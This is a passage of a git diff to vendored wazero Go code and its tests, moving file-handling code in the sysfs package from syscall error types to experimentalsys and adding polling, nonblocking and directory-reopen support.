(experimentalsys.File, experimentalsys.Errno) { f, errno := OpenFile(path, flag, perm) if errno != 0 { return nil, errno @@ -51,44 +52,50 @@ func OpenOSFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Er return newOsFile(path, flag, perm, f), 0 } -func OpenFSFile(fs fs.FS, path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) { - if flag&fsapi.O_DIRECTORY != 0 && flag&(syscall.O_WRONLY|syscall.O_RDWR) != 0 { - return nil, syscall.EISDIR // invalid to open a directory writeable +func OpenFSFile(fs fs.FS, path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { + if flag&experimentalsys.O_DIRECTORY != 0 && flag&(experimentalsys.O_WRONLY|experimentalsys.O_RDWR) != 0 { + return nil, experimentalsys.EISDIR // invalid to open a directory writeable } f, err := fs.Open(path) - if errno := platform.UnwrapOSError(err); errno != 0 { + if errno := experimentalsys.UnwrapOSError(err); errno != 0 { return nil, errno } // Don't return an os.File because the path is not absolute. osFile needs - // the path to be real and certain fs.File impls are subrooted. + // the path to be real and certain FS.File impls are subrooted. return &fsFile{fs: fs, name: path, file: f}, 0 } type stdioFile struct { fsapi.File - st fsapi.Stat_t + st sys.Stat_t } -// IsDir implements File.IsDir -func (f *stdioFile) IsDir() (bool, syscall.Errno) { - return false, 0 +// SetAppend implements File.SetAppend +func (f *stdioFile) SetAppend(bool) experimentalsys.Errno { + // Ignore for stdio. + return 0 +} + +// IsAppend implements File.SetAppend +func (f *stdioFile) IsAppend() bool { + return true } // Stat implements File.Stat -func (f *stdioFile) Stat() (fsapi.Stat_t, syscall.Errno) { +func (f *stdioFile) Stat() (sys.Stat_t, experimentalsys.Errno) { return f.st, 0 } // Close implements File.Close -func (f *stdioFile) Close() syscall.Errno { +func (f *stdioFile) Close() experimentalsys.Errno { return 0 } -// fsFile is used for wrapped os.File, like os.Stdin or any fs.File +// fsFile is used for wrapped fs.File, like os.Stdin or any fs.File // implementation. Notably, this does not have access to the full file path. // so certain operations can't be supported, such as inode lookups on Windows. type fsFile struct { - fsapi.UnimplementedFile + experimentalsys.UnimplementedFile // fs is the file-system that opened the file, or nil when wrapped for // pre-opens like stdio. @@ -100,7 +107,13 @@ type fsFile struct { // file is always set, possibly an os.File like os.Stdin. file fs.File - // closed is true when closed was called. This ensures proper syscall.EBADF + // reopenDir is true if reopen should be called before Readdir. This flag + // is deferred until Readdir to prevent redundant rewinds. This could + // happen if Seek(0) was called twice, or if in Windows, Seek(0) was called + // before Readdir. + reopenDir bool + + // closed is true when closed was called. This ensures proper sys.EBADF closed bool // cachedStat includes fields that won't change while a file is open. @@ -108,84 +121,73 @@ type fsFile struct { } type cachedStat struct { - // fileType is the same as what's documented on Dirent. - fileType fs.FileMode + // dev is the same as sys.Stat_t Dev. + dev uint64 - // ino is the same as what's documented on Dirent. - ino uint64 + // dev is the same as sys.Stat_t Ino. + ino sys.Inode + + // isDir is sys.Stat_t Mode masked with fs.ModeDir + isDir bool } -// cachedStat returns the cacheable parts of platform.sys.Stat_t or an error if -// they couldn't be retrieved. -func (f *fsFile) cachedStat() (fileType fs.FileMode, ino uint64, errno syscall.Errno) { +// cachedStat returns the cacheable parts of sys.Stat_t or an error if they +// couldn't be retrieved. +func (f *fsFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno experimentalsys.Errno) { if f.cachedSt == nil { if _, errno = f.Stat(); errno != 0 { return } } - return f.cachedSt.fileType, f.cachedSt.ino, 0 + return f.cachedSt.dev, f.cachedSt.ino, f.cachedSt.isDir, 0 } -// Ino implements File.Ino -func (f *fsFile) Ino() (uint64, syscall.Errno) { - if _, ino, errno := f.cachedStat(); errno != 0 { - return 0, errno - } else { - return ino, 0 - } +// Dev implements the same method as documented on sys.File +func (f *fsFile) Dev() (uint64, experimentalsys.Errno) { + dev, _, _, errno := f.cachedStat() + return dev, errno } -// IsAppend implements File.IsAppend -func (f *fsFile) IsAppend() bool { - return false +// Ino implements the same method as documented on sys.File +func (f *fsFile) Ino() (sys.Inode, experimentalsys.Errno) { + _, ino, _, errno := f.cachedStat() + return ino, errno } -// SetAppend implements File.SetAppend -func (f *fsFile) SetAppend(bool) (errno syscall.Errno) { - return fileError(f, f.closed, syscall.ENOSYS) +// IsDir implements the same method as documented on sys.File +func (f *fsFile) IsDir() (bool, experimentalsys.Errno) { + _, _, isDir, errno := f.cachedStat() + return isDir, errno } -// IsDir implements File.IsDir -func (f *fsFile) IsDir() (bool, syscall.Errno) { - if ft, _, errno := f.cachedStat(); errno != 0 { - return false, errno - } else if ft.Type() == fs.ModeDir { - return true, 0 - } - return false, 0 +// IsAppend implements the same method as documented on sys.File +func (f *fsFile) IsAppend() bool { + return false } -// Stat implements File.Stat -func (f *fsFile) Stat() (st fsapi.Stat_t, errno syscall.Errno) { +// SetAppend implements the same method as documented on sys.File +func (f *fsFile) SetAppend(bool) (errno experimentalsys.Errno) { + return fileError(f, f.closed, experimentalsys.ENOSYS) +} + +// Stat implements the same method as documented on sys.File +func (f *fsFile) Stat() (sys.Stat_t, experimentalsys.Errno) { if f.closed { - errno = syscall.EBADF - return + return sys.Stat_t{}, experimentalsys.EBADF } - // While some functions in fsapi.File need the full path, especially in - // Windows, stat does not. Casting here allows os.DirFS to return inode - // information. - if of, ok := f.file.(*os.File); ok { - if st, errno = statFile(of); errno != 0 { - return - } - return f.cacheStat(st) - } else if t, err := f.file.Stat(); err != nil { - errno = platform.UnwrapOSError(err) - return - } else { - st = StatFromDefaultFileInfo(t) - return f.cacheStat(st) + st, errno := statFile(f.file) + switch errno { + case 0: + f.cachedSt = &cachedStat{dev: st.Dev, ino: st.Ino, isDir: st.Mode&fs.ModeDir == fs.ModeDir} + case experimentalsys.EIO: + errno = experimentalsys.EBADF } + return st, errno } -func (f *fsFile) cacheStat(st fsapi.Stat_t) (fsapi.Stat_t, syscall.Errno) { - f.cachedSt = &cachedStat{fileType: st.Mode & fs.ModeType, ino: st.Ino} - return st, 0 -} - -// Read implements File.Read -func (f *fsFile) Read(buf []byte) (n int, errno syscall.Errno) { +// Read implements the same method as documented on sys.File +func (f *fsFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { if n, errno = read(f.file, buf); errno != 0 { // Defer validation overhead until we've already had an error. errno = fileError(f, f.closed, errno) @@ -193,8 +195,8 @@ func (f *fsFile) Read(buf []byte) (n int, errno syscall.Errno) { return } -// Pread implements File.Pread -func (f *fsFile) Pread(buf []byte, off int64) (n int, errno syscall.Errno) { +// Pread implements the same method as documented on sys.File +func (f *fsFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if ra, ok := f.file.(io.ReaderAt); ok { if n, errno = pread(ra, buf, off); errno != 0 { // Defer validation overhead until we've already had an error. @@ -208,7 +210,7 @@ func (f *fsFile) Pread(buf []byte, off int64) (n int, errno syscall.Errno) { // Determine the current position in the file, as we need to revert it. currentOffset, err := rs.Seek(0, io.SeekCurrent) if err != nil { - return 0, fileError(f, f.closed, platform.UnwrapOSError(err)) + return 0, fileError(f, f.closed, experimentalsys.UnwrapOSError(err)) } // Put the read position back when complete. @@ -217,31 +219,30 @@ func (f *fsFile) Pread(buf []byte, off int64) (n int, errno syscall.Errno) { // If the current offset isn't in sync with this reader, move it. if off != currentOffset { if _, err = rs.Seek(off, io.SeekStart); err != nil { - return 0, fileError(f, f.closed, platform.UnwrapOSError(err)) + return 0, fileError(f, f.closed, experimentalsys.UnwrapOSError(err)) } } n, err = rs.Read(buf) - if errno = platform.UnwrapOSError(err); errno != 0 { + if errno = experimentalsys.UnwrapOSError(err); errno != 0 { // Defer validation overhead until we've already had an error. errno = fileError(f, f.closed, errno) } } else { - errno = syscall.ENOSYS // unsupported + errno = experimentalsys.ENOSYS // unsupported } return } -// Seek implements File.Seek. -func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno syscall.Errno) { +// Seek implements the same method as documented on sys.File +func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { // If this is a directory, and we're attempting to seek to position zero, // we have to re-open the file to ensure the directory state is reset. var isDir bool if offset == 0 && whence == io.SeekStart { - if isDir, errno = f.IsDir(); errno != 0 { + if isDir, errno = f.IsDir(); errno == 0 && isDir { + f.reopenDir = true return - } else if isDir { - return 0, f.reopen() } } @@ -251,23 +252,33 @@ func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno syscall. errno = fileError(f, f.closed, errno) } } else { - errno = syscall.ENOSYS // unsupported + errno = experimentalsys.ENOSYS // unsupported } return } -func (f *fsFile) reopen() syscall.Errno { - _ = f.close() - var err error - f.file, err = f.fs.Open(f.name) - return platform.UnwrapOSError(err) -} +// Readdir implements the same method as documented on sys.File +// +// Notably, this uses readdirFile or fs.ReadDirFile if available. This does not +// return inodes on windows. +func (f *fsFile) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { + // Windows lets you Readdir after close, FS.File also may not implement + // close in a meaningful way. read our closed field to return consistent + // results. + if f.closed { + errno = experimentalsys.EBADF + return + } -// Readdir implements File.Readdir. Notably, this uses fs.ReadDirFile if -// available. -func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno syscall.Errno) { - if of, ok := f.file.(*os.File); ok { - // We can't use f.name here because it is the path up to the fsapi.FS, + if f.reopenDir { // re-open the directory if needed. + f.reopenDir = false + if errno = adjustReaddirErr(f, f.closed, f.reopen()); errno != 0 { + return + } + } + + if of, ok := f.file.(readdirFile); ok { + // We can't use f.name here because it is the path up to the sys.FS, // not necessarily the real path. For this reason, Windows may not be // able to populate inodes. However, Darwin and Linux will. if dirents, errno = readdir(of, "", n); errno != 0 { @@ -276,52 +287,52 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno syscall.Errno) { return } - // Try with fs.ReadDirFile which is available on api.FS implementations - // like embed:fs. + // Try with FS.ReadDirFile which is available on api.FS implementations + // like embed:FS. if rdf, ok := f.file.(fs.ReadDirFile); ok { entries, e := rdf.ReadDir(n) if errno = adjustReaddirErr(f, f.closed, e); errno != 0 { return } - dirents = make([]fsapi.Dirent, 0, len(entries)) + dirents = make([]experimentalsys.Dirent, 0, len(entries)) for _, e := range entries { // By default, we don't attempt to read inode data - dirents = append(dirents, fsapi.Dirent{Name: e.Name(), Type: e.Type()}) + dirents = append(dirents, experimentalsys.Dirent{Name: e.Name(), Type: e.Type()}) } } else { - errno = syscall.ENOTDIR + errno = experimentalsys.EBADF // not a directory } return } -// Write implements File.Write -func (f *fsFile) Write(buf []byte) (n int, errno syscall.Errno) { +// Write implements the same method as documented on sys.File. +func (f *fsFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { if w, ok := f.file.(io.Writer); ok { if n, errno = write(w, buf); errno != 0 { // Defer validation overhead until we've already had an error. errno = fileError(f, f.closed, errno) } } else { - errno = syscall.ENOSYS // unsupported + errno = experimentalsys.ENOSYS // unsupported } return } -// Pwrite implements File.Pwrite -func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno syscall.Errno) { +// Pwrite implements the same method as documented on sys.File. +func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if wa, ok := f.file.(io.WriterAt); ok { if n, errno = pwrite(wa, buf, off); errno != 0 { // Defer validation overhead until we've already had an error. errno = fileError(f, f.closed, errno) } } else { - errno = syscall.ENOSYS // unsupported + errno = experimentalsys.ENOSYS // unsupported } return } -// Close implements File.Close -func (f *fsFile) Close() syscall.Errno { +// Close implements the same method as documented on sys.File. +func (f *fsFile) Close() experimentalsys.Errno { if f.closed { return 0 } @@ -329,12 +340,27 @@ func (f *fsFile) Close() syscall.Errno { return f.close() } -func (f *fsFile) close() syscall.Errno { - return platform.UnwrapOSError(f.file.Close()) +func (f *fsFile) close() experimentalsys.Errno { + return experimentalsys.UnwrapOSError(f.file.Close()) +} + +// IsNonblock implements the same method as documented on fsapi.File +func (f *fsFile) IsNonblock() bool { + return false +} + +// SetNonblock implements the same method as documented on fsapi.File +func (f *fsFile) SetNonblock(bool) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Poll implements the same method as documented on fsapi.File +func (f *fsFile) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { + return false, experimentalsys.ENOSYS } // dirError is used for commands that work against a directory, but not a file. -func dirError(f fsapi.File, isClosed bool, errno syscall.Errno) syscall.Errno { +func dirError(f experimentalsys.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { if vErrno := validate(f, isClosed, false, true); vErrno != 0 { return vErrno } @@ -342,7 +368,7 @@ func dirError(f fsapi.File, isClosed bool, errno syscall.Errno) syscall.Errno { } // fileError is used for commands that work against a file, but not a directory. -func fileError(f fsapi.File, isClosed bool, errno syscall.Errno) syscall.Errno { +func fileError(f experimentalsys.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { if vErrno := validate(f, isClosed, true, false); vErrno != 0 { return vErrno } @@ -350,9 +376,9 @@ func fileError(f fsapi.File, isClosed bool, errno syscall.Errno) syscall.Errno { } // validate is used to making syscalls which will fail. -func validate(f fsapi.File, isClosed, wantFile, wantDir bool) syscall.Errno { +func validate(f experimentalsys.File, isClosed, wantFile, wantDir bool) experimentalsys.Errno { if isClosed { - return syscall.EBADF + return experimentalsys.EBADF } isDir, errno := f.IsDir() @@ -361,74 +387,134 @@ func validate(f fsapi.File, isClosed, wantFile, wantDir bool) syscall.Errno { } if wantFile && isDir { - return syscall.EISDIR + return experimentalsys.EISDIR } else if wantDir && !isDir { - return syscall.ENOTDIR + return experimentalsys.ENOTDIR } return 0 } -func read(r io.Reader, buf []byte) (n int, errno syscall.Errno) { +func read(r io.Reader, buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // less overhead on zero-length reads. } n, err := r.Read(buf) - return n, platform.UnwrapOSError(err) + return n, experimentalsys.UnwrapOSError(err) } -func pread(ra io.ReaderAt, buf []byte, off int64) (n int, errno syscall.Errno) { +func pread(ra io.ReaderAt, buf []byte, off int64) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // less overhead on zero-length reads. } n, err := ra.ReadAt(buf, off) - return n, platform.UnwrapOSError(err) + return n, experimentalsys.UnwrapOSError(err) } -func seek(s io.Seeker, offset int64, whence int) (int64, syscall.Errno) { +func seek(s io.Seeker, offset int64, whence int) (int64, experimentalsys.Errno) { if uint(whence) > io.SeekEnd { - return 0, syscall.EINVAL // negative or exceeds the largest valid whence + return 0, experimentalsys.EINVAL // negative or exceeds the largest valid whence } newOffset, err := s.Seek(offset, whence) - return newOffset, platform.UnwrapOSError(err) + return newOffset, experimentalsys.UnwrapOSError(err) +} + +// reopenFile allows re-opening a file for reasons such as applying flags or +// directory iteration. +type reopenFile func() experimentalsys.Errno + +// compile-time check to ensure fsFile.reopen implements reopenFile. +var _ reopenFile = (*fsFile)(nil).reopen + +// reopen implements the same method as documented on reopenFile. +func (f *fsFile) reopen() experimentalsys.Errno { + _ = f.close() + var err error + f.file, err = f.fs.Open(f.name) + return experimentalsys.UnwrapOSError(err) +} + +// readdirFile allows masking the `Readdir` function on os.File. +type readdirFile interface { + Readdir(n int) ([]fs.FileInfo, error) } -func readdir(f *os.File, path string, n int) (dirents []fsapi.Dirent, errno syscall.Errno) { +// readdir uses readdirFile.Readdir, special casing windows when path !="". +func readdir(f readdirFile, path string, n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { fis, e := f.Readdir(n) - if errno = platform.UnwrapOSError(e); errno != 0 { + if errno = experimentalsys.UnwrapOSError(e); errno != 0 { return } - dirents = make([]fsapi.Dirent, 0, len(fis)) + dirents = make([]experimentalsys.Dirent, 0, len(fis)) // linux/darwin won't have to fan out to lstat, but windows will. - var ino uint64 + var ino sys.Inode for fi := range fis { t := fis[fi] + // inoFromFileInfo is more efficient than sys.NewStat_t, as it gets the + // inode without allocating an instance and filling other fields. if ino, errno = inoFromFileInfo(path, t); errno != 0 { return } - dirents = append(dirents, fsapi.Dirent{Name: t.Name(), Ino: ino, Type: t.Mode().Type()}) + dirents = append(dirents, experimentalsys.Dirent{Name: t.Name(), Ino: ino, Type: t.Mode().Type()}) } return } -func write(w io.Writer, buf []byte) (n int, errno syscall.Errno) { +func write(w io.Writer, buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // less overhead on zero-length writes. } n, err := w.Write(buf) - return n, platform.UnwrapOSError(err) + return n, experimentalsys.UnwrapOSError(err) } -func pwrite(w io.WriterAt, buf []byte, off int64) (n int, errno syscall.Errno) { +func pwrite(w io.WriterAt, buf []byte, off int64) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // less overhead on zero-length writes. } n, err := w.WriteAt(buf, off) - return n, platform.UnwrapOSError(err) + return n, experimentalsys.UnwrapOSError(err) +} + +func chtimes(path string, atim, mtim int64) (errno experimentalsys.Errno) { //nolint:unused + // When both inputs are omitted, there is nothing to change. + if atim == experimentalsys.UTIME_OMIT && mtim == experimentalsys.UTIME_OMIT { + return + } + + // UTIME_OMIT is expensive until progress is made in Go, as it requires a + // stat to read-back the value to re-apply. + // - https://github.com/golang/go/issues/32558. + // - https://go-review.googlesource.com/c/go/+/219638 (unmerged) + var st sys.Stat_t + if atim == experimentalsys.UTIME_OMIT || mtim == experimentalsys.UTIME_OMIT { + if st, errno = stat(path); errno != 0 { + return + } + } + + var atime, mtime time.Time + if atim == experimentalsys.UTIME_OMIT { + atime = epochNanosToTime(st.Atim) + mtime = epochNanosToTime(mtim) + } else if mtim == experimentalsys.UTIME_OMIT { + atime = epochNanosToTime(atim) + mtime = epochNanosToTime(st.Mtim) + } else { + atime = epochNanosToTime(atim) + mtime = epochNanosToTime(mtim) + } + return experimentalsys.UnwrapOSError(os.Chtimes(path, atime, mtime)) +} + +func epochNanosToTime(epochNanos int64) time.Time { //nolint:unused + seconds := epochNanos / 1e9 + nanos := epochNanos % 1e9 + return time.Unix(seconds, nanos) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go index 3f10c61269..1b97eb860a 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go @@ -7,15 +7,14 @@ import ( "os" "path" "runtime" - "strings" - "syscall" "testing" gofstest "testing/fstest" - "time" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/internal/platform" "github.com/tetratelabs/wazero/internal/testing/require" + "github.com/tetratelabs/wazero/sys" ) //go:embed file_test.go @@ -48,17 +47,13 @@ func TestStdioFileSetNonblock(t *testing.T) { } func TestRegularFileSetNonblock(t *testing.T) { - if runtime.GOOS == "windows" { - t.Skip("Nonblock on regular files is not supported on Windows") - } - // Test using os.Pipe as it is known to support non-blocking reads. r, w, err := os.Pipe() require.NoError(t, err) defer r.Close() defer w.Close() - rF := newOsFile("", syscall.O_RDONLY, 0, r) + rF := newOsFile("", experimentalsys.O_RDONLY, 0, r) errno := rF.SetNonblock(true) require.EqualErrno(t, 0, errno) @@ -67,7 +62,7 @@ func TestRegularFileSetNonblock(t *testing.T) { // Read from the file without ever writing to it should not block. buf := make([]byte, 8) _, e := rF.Read(buf) - require.EqualErrno(t, syscall.EAGAIN, e) + require.EqualErrno(t, experimentalsys.EAGAIN, e) errno = rF.SetNonblock(false) require.EqualErrno(t, 0, errno) @@ -82,17 +77,44 @@ func TestReadFdNonblock(t *testing.T) { defer w.Close() fd := r.Fd() - err = setNonblock(fd, true) - require.NoError(t, err) + errno := setNonblock(fd, true) + require.EqualErrno(t, 0, errno) // Read from the file without ever writing to it should not block. buf := make([]byte, 8) - _, e := readFd(fd, buf) - if runtime.GOOS == "windows" { - require.EqualErrno(t, syscall.ENOSYS, e) - } else { - require.EqualErrno(t, syscall.EAGAIN, e) + _, errno = readFd(fd, buf) + require.EqualErrno(t, experimentalsys.EAGAIN, errno) +} + +func TestWriteFdNonblock(t *testing.T) { + // Test using os.Pipe as it is known to support non-blocking reads. + r, w, err := os.Pipe() + require.NoError(t, err) + defer r.Close() + defer w.Close() + + fd := w.Fd() + errno := setNonblock(fd, true) + + require.EqualErrno(t, 0, errno) + + // Create a buffer (the content is not relevant) + buf := make([]byte, 1024) + // Write to the file until the pipe buffer gets filled up. + numWrites := 100 + for i := 0; i < numWrites; i++ { + _, e := writeFd(fd, buf) + if e != 0 { + if runtime.GOOS == "windows" { + // This is currently not supported on Windows. + require.EqualErrno(t, experimentalsys.ENOSYS, e) + } else { + require.EqualErrno(t, experimentalsys.EAGAIN, e) + } + return + } } + t.Fatal("writeFd should return EAGAIN at some point") } func TestFileSetAppend(t *testing.T) { @@ -102,7 +124,7 @@ func TestFileSetAppend(t *testing.T) { require.NoError(t, os.WriteFile(fPath, []byte("0123456789"), 0o600)) // Open without APPEND. - f, errno := OpenOSFile(fPath, os.O_RDWR, 0o600) + f, errno := OpenOSFile(fPath, experimentalsys.O_RDWR, 0o600) require.EqualErrno(t, 0, errno) require.False(t, f.IsAppend()) @@ -131,6 +153,16 @@ func TestFileSetAppend(t *testing.T) { requireFileContent("wazero6789wazero") } +func TestStdioFile_SetAppend(t *testing.T) { + // SetAppend should not affect Stdio. + file, err := NewStdioFile(false, os.Stdout) + require.NoError(t, err) + errno := file.SetAppend(true) + require.EqualErrno(t, 0, errno) + _, errno = file.Write([]byte{}) + require.EqualErrno(t, 0, errno) +} + func TestFileIno(t *testing.T) { tmpDir := t.TempDir() dirFS, embedFS, mapFS := dirEmbedMapFS(t, tmpDir) @@ -142,7 +174,7 @@ func TestFileIno(t *testing.T) { tests := []struct { name string fs fs.FS - expectedIno uint64 + expectedIno sys.Inode }{ {name: "os.DirFS", fs: dirFS, expectedIno: st.Ino}, {name: "embed.api.FS", fs: embedFS}, @@ -153,39 +185,44 @@ func TestFileIno(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - d, errno := OpenFSFile(tc.fs, ".", syscall.O_RDONLY, 0) + d, errno := OpenFSFile(tc.fs, ".", experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() ino, errno := d.Ino() require.EqualErrno(t, 0, errno) - if !canReadDirInode() { - tc.expectedIno = 0 + // Results are inconsistent, so don't validate the opposite. + if statSetsIno() { + require.Equal(t, tc.expectedIno, ino) } - require.Equal(t, tc.expectedIno, ino) }) } t.Run("OS", func(t *testing.T) { - d, errno := OpenOSFile(tmpDir, syscall.O_RDONLY, 0) + d, errno := OpenOSFile(tmpDir, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() ino, errno := d.Ino() require.EqualErrno(t, 0, errno) - if canReadDirInode() { + // Results are inconsistent, so don't validate the opposite. + if statSetsIno() { require.Equal(t, st.Ino, ino) - } else { - require.Zero(t, ino) } }) } -func canReadDirInode() bool { +// statSetsIno returns true if this will set sys.Stat_t Ino on stat. The +// reverse doesn't mean it won't. Rather it is inconsistent. This is needed +// because Windows on Go 1.18 sometimes, but not always returns non-zero inode. +func statSetsIno() bool { if runtime.GOOS != "windows" { return true } else { - return strings.HasPrefix(runtime.Version(), "go1.20") + // Go can read the inode via a Windows file handle, but it is + // inconsistent on Go 1.18. + // TODO: check on 1.19 can! + return platform.IsAtLeastGo120 } } @@ -206,7 +243,7 @@ func TestFileIsDir(t *testing.T) { t.Run(tc.name, func(t *testing.T) { t.Run("file", func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, wazeroFile, syscall.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, wazeroFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -216,7 +253,7 @@ func TestFileIsDir(t *testing.T) { }) t.Run("dir", func(t *testing.T) { - d, errno := OpenFSFile(tc.fs, ".", syscall.O_RDONLY, 0) + d, errno := OpenFSFile(tc.fs, ".", experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -228,7 +265,7 @@ func TestFileIsDir(t *testing.T) { } t.Run("OS dir", func(t *testing.T) { - d, errno := OpenOSFile(t.TempDir(), syscall.O_RDONLY, 0) + d, errno := OpenOSFile(t.TempDir(), experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -256,7 +293,7 @@ func TestFileReadAndPread(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, wazeroFile, syscall.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, wazeroFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -282,7 +319,9 @@ func TestFileReadAndPread(t *testing.T) { } } -func TestFilePollRead(t *testing.T) { +func TestFilePoll_POLLIN(t *testing.T) { + pflag := fsapi.POLLIN + // Test using os.Pipe as it is known to support poll. r, w, err := os.Pipe() require.NoError(t, err) @@ -292,14 +331,10 @@ func TestFilePollRead(t *testing.T) { rF, err := NewStdioFile(true, r) require.NoError(t, err) buf := make([]byte, 10) - timeout := time.Duration(0) // return immediately + timeout := int32(0) // return immediately // When there's nothing in the pipe, it isn't ready. - ready, errno := rF.PollRead(&timeout) - if runtime.GOOS == "windows" { - require.EqualErrno(t, syscall.ENOSYS, errno) - t.Skip("TODO: windows File.PollRead") - } + ready, errno := rF.Poll(pflag, timeout) require.EqualErrno(t, 0, errno) require.False(t, ready) @@ -309,7 +344,7 @@ func TestFilePollRead(t *testing.T) { require.NoError(t, err) // We should now be able to poll ready - ready, errno = rF.PollRead(&timeout) + ready, errno = rF.Poll(pflag, timeout) require.EqualErrno(t, 0, errno) require.True(t, ready) @@ -320,13 +355,32 @@ func TestFilePollRead(t *testing.T) { require.Equal(t, expected, buf[:len(expected)]) } -func requireRead(t *testing.T, f fsapi.File, buf []byte) { +func TestFilePoll_POLLOUT(t *testing.T) { + pflag := fsapi.POLLOUT + + // Test using os.Pipe as it is known to support poll. + r, w, err := os.Pipe() + require.NoError(t, err) + defer r.Close() + defer w.Close() + + wF, err := NewStdioFile(false, w) + require.NoError(t, err) + timeout := int32(0) // return immediately + + // We don't yet implement write blocking. + ready, errno := wF.Poll(pflag, timeout) + require.EqualErrno(t, experimentalsys.ENOTSUP, errno) + require.False(t, ready) +} + +func requireRead(t *testing.T, f experimentalsys.File, buf []byte) { n, errno := f.Read(buf) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) } -func requirePread(t *testing.T, f fsapi.File, buf []byte, off int64) { +func requirePread(t *testing.T, f experimentalsys.File, buf []byte, off int64) { n, errno := f.Pread(buf, off) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) @@ -350,7 +404,7 @@ func TestFileRead_empty(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, emptyFile, syscall.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -383,13 +437,13 @@ func TestFilePread_Unsupported(t *testing.T) { embedFS, err := fs.Sub(testdata, "testdata") require.NoError(t, err) - f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, syscall.O_RDONLY, 0) + f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() buf := make([]byte, 3) _, errno = f.Pread(buf, 0) - require.EqualErrno(t, syscall.ENOSYS, errno) + require.EqualErrno(t, experimentalsys.ENOSYS, errno) } func TestFileRead_Errors(t *testing.T) { @@ -397,20 +451,20 @@ func TestFileRead_Errors(t *testing.T) { path := path.Join(t.TempDir(), emptyFile) // Open the file write-only - flag := syscall.O_WRONLY | syscall.O_CREAT + flag := experimentalsys.O_WRONLY | experimentalsys.O_CREAT f := requireOpenFile(t, path, flag, 0o600) defer f.Close() buf := make([]byte, 5) tests := []struct { name string - fn func(fsapi.File) syscall.Errno + fn func(experimentalsys.File) experimentalsys.Errno }{ - {name: "Read", fn: func(f fsapi.File) syscall.Errno { + {name: "Read", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Read(buf) return errno }}, - {name: "Pread", fn: func(f fsapi.File) syscall.Errno { + {name: "Pread", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Pread(buf, 0) return errno }}, @@ -423,7 +477,7 @@ func TestFileRead_Errors(t *testing.T) { t.Run("EBADF when not open for reading", func(t *testing.T) { // The descriptor exists, but not open for reading errno := tc.fn(f) - require.EqualErrno(t, syscall.EBADF, errno) + require.EqualErrno(t, experimentalsys.EBADF, errno) }) testEISDIR(t, tc.fn) }) @@ -431,15 +485,25 @@ func TestFileRead_Errors(t *testing.T) { } func TestFileSeek(t *testing.T) { - dirFS, embedFS, mapFS := dirEmbedMapFS(t, t.TempDir()) + tmpDir := t.TempDir() + dirFS, embedFS, mapFS := dirEmbedMapFS(t, tmpDir) tests := []struct { - name string - fs fs.FS + name string + openFile func(string) (experimentalsys.File, experimentalsys.Errno) }{ - {name: "os.DirFS", fs: dirFS}, - {name: "embed.api.FS", fs: embedFS}, - {name: "fstest.MapFS", fs: mapFS}, + {name: "fsFile os.DirFS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(dirFS, name, experimentalsys.O_RDONLY, 0) + }}, + {name: "fsFile embed.api.FS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(embedFS, name, experimentalsys.O_RDONLY, 0) + }}, + {name: "fsFile fstest.MapFS", openFile: func(name string) 